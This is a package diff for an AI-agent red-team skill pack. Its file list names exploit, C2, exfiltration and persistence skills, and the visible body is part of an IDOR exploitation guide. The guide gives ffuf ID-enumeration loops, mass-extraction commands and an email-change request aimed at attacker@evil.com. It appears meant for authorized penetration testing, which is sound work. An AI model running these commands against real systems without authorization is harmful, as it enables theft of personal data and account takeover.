rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1693 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-idor
|
|
3
|
+
description: "IDOR (Insecure Direct Object Reference) and Broken Access Control testing skill. Covers horizontal privilege escalation, vertical privilege escalation, parameter tampering, UUID enumeration, mass data extraction via IDOR automation, and BOLA (Broken Object Level Authorization) for APIs."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-idor
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Insecure Direct Object Reference (IDOR) is a broken access control vulnerability where an application uses user-controllable input to access objects directly without verifying that the requesting user has authorization. IDOR is consistently ranked in the OWASP Top 10 under **A01:2021 - Broken Access Control** and is one of the highest-impact, highest-frequency vulnerabilities found in real-world engagements.
|
|
11
|
+
|
|
12
|
+
### Why IDOR Matters
|
|
13
|
+
|
|
14
|
+
- Directly leads to unauthorized data access, account takeovers, PII exfiltration, and full horizontal/vertical privilege escalation.
|
|
15
|
+
- Simple to exploit once identified — no memory corruption, no complex payloads.
|
|
16
|
+
- Automation at scale (mass extraction) can turn a single IDOR into a critical organizational data breach.
|
|
17
|
+
- APIs are particularly vulnerable due to REST patterns exposing object IDs explicitly.
|
|
18
|
+
|
|
19
|
+
### Taxonomy
|
|
20
|
+
|
|
21
|
+
| Term | Definition |
|
|
22
|
+
|---|---|
|
|
23
|
+
| IDOR | Accessing an object by directly referencing its ID without authorization check |
|
|
24
|
+
| BOLA | Broken Object Level Authorization — API-specific IDOR (OWASP API Security Top 10 #1) |
|
|
25
|
+
| Horizontal Escalation | Accessing another user's data at the same privilege level |
|
|
26
|
+
| Vertical Escalation | Accessing resources of a higher-privileged role (e.g., user → admin) |
|
|
27
|
+
| BFLA | Broken Function Level Authorization — accessing admin functions as a low-privileged user |
|
|
28
|
+
| Mass Assignment | Sending extra parameters to modify fields the server shouldn't accept from clients |
|
|
29
|
+
|
|
30
|
+
### Scope and Impact Ratings
|
|
31
|
+
|
|
32
|
+
| Scenario | CVSS Score (Approximate) | Impact |
|
|
33
|
+
|---|---|---|
|
|
34
|
+
| Read another user's profile | 6.5 (Medium) | PII disclosure |
|
|
35
|
+
| Read all users via mass extraction | 8.6 (High) | Full database exfil |
|
|
36
|
+
| Modify/delete another user's resource | 8.1 (High) | Integrity violation |
|
|
37
|
+
| Escalate to admin role | 9.8 (Critical) | Full application compromise |
|
|
38
|
+
| Access billing/payment data | 9.1 (Critical) | Financial data breach |
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## 2. Skill Levels
|
|
43
|
+
|
|
44
|
+
### BEGINNER — Manual Parameter Tampering
|
|
45
|
+
|
|
46
|
+
**Prerequisites:** Burp Suite Community/Pro, a valid account on the target application, basic HTTP knowledge.
|
|
47
|
+
|
|
48
|
+
**Goal:** Identify and confirm a single IDOR vulnerability manually.
|
|
49
|
+
|
|
50
|
+
**Core Concepts:**
|
|
51
|
+
- Every request that contains an ID, number, UUID, slug, or hash referencing a resource is a candidate.
|
|
52
|
+
- The test is: log in as User A, copy a request referencing User A's resource, change the ID to User B's resource ID, observe whether the server returns User B's data.
|
|
53
|
+
|
|
54
|
+
**Step 1 — Set up Burp Suite proxy**
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
# Launch Burp Suite and configure browser proxy
|
|
58
|
+
# Proxy → Options → 127.0.0.1:8080
|
|
59
|
+
# Install Burp CA certificate in browser
|
|
60
|
+
|
|
61
|
+
# Alternatively use mitmproxy for lightweight interception
|
|
62
|
+
pip install mitmproxy
|
|
63
|
+
mitmproxy -p 8080
|
|
64
|
+
# or in headless mode:
|
|
65
|
+
mitmdump -p 8080 -w /tmp/capture.mitm
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**Step 2 — Enumerate your own object IDs**
|
|
69
|
+
|
|
70
|
+
```bash
|
|
71
|
+
# While authenticated as User A, navigate to:
|
|
72
|
+
# - Profile page: /api/users/1234
|
|
73
|
+
# - Orders: /api/orders/5678
|
|
74
|
+
# - Documents: /api/documents/9012
|
|
75
|
+
# - Invoices: /invoice/download?id=3456
|
|
76
|
+
|
|
77
|
+
# Note every ID in requests, responses, and page source
|
|
78
|
+
# Look in: URL path, query parameters, POST body, JSON fields, cookies, hidden form fields
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
**Step 3 — Create a second test account (User B)**
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
# Register a second account in a different browser session / incognito
|
|
85
|
+
# Note User B's own object IDs by logging in as User B
|
|
86
|
+
# Confirm what User B owns: /api/users/5678 (User B's own profile ID)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**Step 4 — Swap IDs and observe**
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# In Burp Repeater, take User A's authenticated request:
|
|
93
|
+
GET /api/users/1234 HTTP/1.1
|
|
94
|
+
Host: target.com
|
|
95
|
+
Authorization: Bearer <UserA_JWT>
|
|
96
|
+
|
|
97
|
+
# Change the ID to User B's ID:
|
|
98
|
+
GET /api/users/5678 HTTP/1.1
|
|
99
|
+
Host: target.com
|
|
100
|
+
Authorization: Bearer <UserA_JWT>
|
|
101
|
+
|
|
102
|
+
# If response returns User B's data → IDOR confirmed
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Step 5 — Test common ID locations**
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# URL path
|
|
109
|
+
GET /profile/1337
|
|
110
|
+
GET /account/1337/settings
|
|
111
|
+
GET /documents/1337/download
|
|
112
|
+
|
|
113
|
+
# Query parameter
|
|
114
|
+
GET /search?user_id=1337
|
|
115
|
+
GET /report?account=1337
|
|
116
|
+
GET /export?invoice_id=1337
|
|
117
|
+
|
|
118
|
+
# POST body (JSON)
|
|
119
|
+
POST /api/update-email
|
|
120
|
+
{"user_id": 1337, "email": "attacker@evil.com"}
|
|
121
|
+
|
|
122
|
+
# POST body (form)
|
|
123
|
+
POST /update-profile
|
|
124
|
+
username=victim&user_id=1337&email=attacker@evil.com
|
|
125
|
+
|
|
126
|
+
# Cookie value
|
|
127
|
+
Cookie: user_id=1337; session=abc123
|
|
128
|
+
|
|
129
|
+
# Hidden form field
|
|
130
|
+
<input type="hidden" name="account_id" value="1337">
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
**Beginner Checklist:**
|
|
134
|
+
- [ ] Found at least one numeric ID in requests
|
|
135
|
+
- [ ] Created two test accounts
|
|
136
|
+
- [ ] Successfully accessed User B's data as User A
|
|
137
|
+
- [ ] Documented request/response pair in Burp
|
|
138
|
+
- [ ] Saved screenshot of data mismatch
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
### INTERMEDIATE — Automated Discovery and Horizontal Escalation Mapping
|
|
143
|
+
|
|
144
|
+
**Prerequisites:** ffuf, Python 3, Burp Pro (optional), basic scripting skills.
|
|
145
|
+
|
|
146
|
+
**Goal:** Systematically discover IDOR endpoints across an entire application and automate ID enumeration.
|
|
147
|
+
|
|
148
|
+
**Step 1 — Spider the application to collect all endpoints**
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# Using katana (fast web crawler)
|
|
152
|
+
go install github.com/projectdiscovery/katana/cmd/katana@latest
|
|
153
|
+
katana -u https://target.com -d 5 -jc -aff -o endpoints.txt
|
|
154
|
+
|
|
155
|
+
# Using hakrawler
|
|
156
|
+
go install github.com/hakluke/hakrawler@latest
|
|
157
|
+
echo "https://target.com" | hakrawler -d 3 -subs > endpoints.txt
|
|
158
|
+
|
|
159
|
+
# Using gau (Get All URLs from Wayback, OTX, etc.)
|
|
160
|
+
go install github.com/lc/gau/v2/cmd/gau@latest
|
|
161
|
+
gau target.com > urls_historical.txt
|
|
162
|
+
|
|
163
|
+
# Combine and filter for ID-like patterns
|
|
164
|
+
cat endpoints.txt urls_historical.txt | grep -E '[0-9]{3,}|[0-9a-f-]{36}' | sort -u > id_endpoints.txt
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**Step 2 — Identify ID parameters using ffuf**
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
# Install ffuf
|
|
171
|
+
go install github.com/ffuf/ffuf/v2@latest
|
|
172
|
+
|
|
173
|
+
# Fuzz for numeric IDs in path
|
|
174
|
+
ffuf -u https://target.com/api/users/FUZZ \
|
|
175
|
+
-w <(seq 1 10000) \
|
|
176
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
177
|
+
-H "Content-Type: application/json" \
|
|
178
|
+
-mc 200 \
|
|
179
|
+
-t 50 \
|
|
180
|
+
-o idor_users_fuzz.json \
|
|
181
|
+
-of json
|
|
182
|
+
|
|
183
|
+
# Fuzz for numeric IDs in query parameter
|
|
184
|
+
ffuf -u "https://target.com/profile?id=FUZZ" \
|
|
185
|
+
-w <(seq 1 5000) \
|
|
186
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
187
|
+
-fc 403,404,401 \
|
|
188
|
+
-mc 200,201,204 \
|
|
189
|
+
-t 30 \
|
|
190
|
+
-o idor_profile_fuzz.json \
|
|
191
|
+
-of json
|
|
192
|
+
|
|
193
|
+
# Filter by response size to find real vs empty responses
|
|
194
|
+
ffuf -u "https://target.com/api/orders/FUZZ" \
|
|
195
|
+
-w <(seq 1 50000) \
|
|
196
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
197
|
+
-fs 0,12,45 \
|
|
198
|
+
-mc 200 \
|
|
199
|
+
-t 100 \
|
|
200
|
+
-rate 200 \
|
|
201
|
+
-o idor_orders_fuzz.json \
|
|
202
|
+
-of json
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Step 3 — Parameter wordlist fuzzing (discover hidden parameters)**
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Download Arjun and Param Miner wordlists
|
|
209
|
+
git clone https://github.com/s0md3v/Arjun
|
|
210
|
+
cd Arjun && pip install -r requirements.txt
|
|
211
|
+
|
|
212
|
+
# Discover hidden GET parameters
|
|
213
|
+
python3 arjun.py -u https://target.com/api/user -m GET -o arjun_get.json
|
|
214
|
+
|
|
215
|
+
# Discover hidden POST parameters
|
|
216
|
+
python3 arjun.py -u https://target.com/api/update -m POST -o arjun_post.json
|
|
217
|
+
|
|
218
|
+
# Use ffuf with parameter wordlist
|
|
219
|
+
ffuf -u "https://target.com/api/user?FUZZ=1337" \
|
|
220
|
+
-w ~/wordlists/burp-parameter-names.txt \
|
|
221
|
+
-H "Authorization: Bearer <token>" \
|
|
222
|
+
-mc 200 \
|
|
223
|
+
-fs 145 \
|
|
224
|
+
-t 40
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
**Step 4 — Response comparison to detect IDOR**
|
|
228
|
+
|
|
229
|
+
```bash
|
|
230
|
+
# Get your own resource response
|
|
231
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
232
|
+
https://target.com/api/users/1001 > own_response.json
|
|
233
|
+
|
|
234
|
+
# Get another user's resource response (IDOR test)
|
|
235
|
+
curl -s -H "Authorization: Bearer <UserA_JWT>" \
|
|
236
|
+
https://target.com/api/users/1002 > other_response.json
|
|
237
|
+
|
|
238
|
+
# Compare responses
|
|
239
|
+
diff own_response.json other_response.json
|
|
240
|
+
|
|
241
|
+
# If different user data is returned → IDOR confirmed
|
|
242
|
+
# Check: different username, email, phone, address, account balance
|
|
243
|
+
jq '.email' own_response.json other_response.json
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
**Step 5 — Test all HTTP methods per endpoint**
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# Many IDOR protections only cover GET — test PUT, DELETE, PATCH, POST
|
|
250
|
+
for method in GET POST PUT PATCH DELETE; do
|
|
251
|
+
echo "Testing $method /api/users/1337"
|
|
252
|
+
curl -s -X $method \
|
|
253
|
+
-H "Authorization: Bearer <UserA_JWT>" \
|
|
254
|
+
-H "Content-Type: application/json" \
|
|
255
|
+
https://target.com/api/users/1337 \
|
|
256
|
+
-o /tmp/idor_${method}.json \
|
|
257
|
+
-w "HTTP Status: %{http_code}\n"
|
|
258
|
+
done
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
**Step 6 — Test with missing, null, and wildcard IDs**
|
|
262
|
+
|
|
263
|
+
```bash
|
|
264
|
+
# Null/empty ID
|
|
265
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/
|
|
266
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/null
|
|
267
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/0
|
|
268
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/-1
|
|
269
|
+
curl -s -H "Authorization: Bearer <token>" https://target.com/api/users/*
|
|
270
|
+
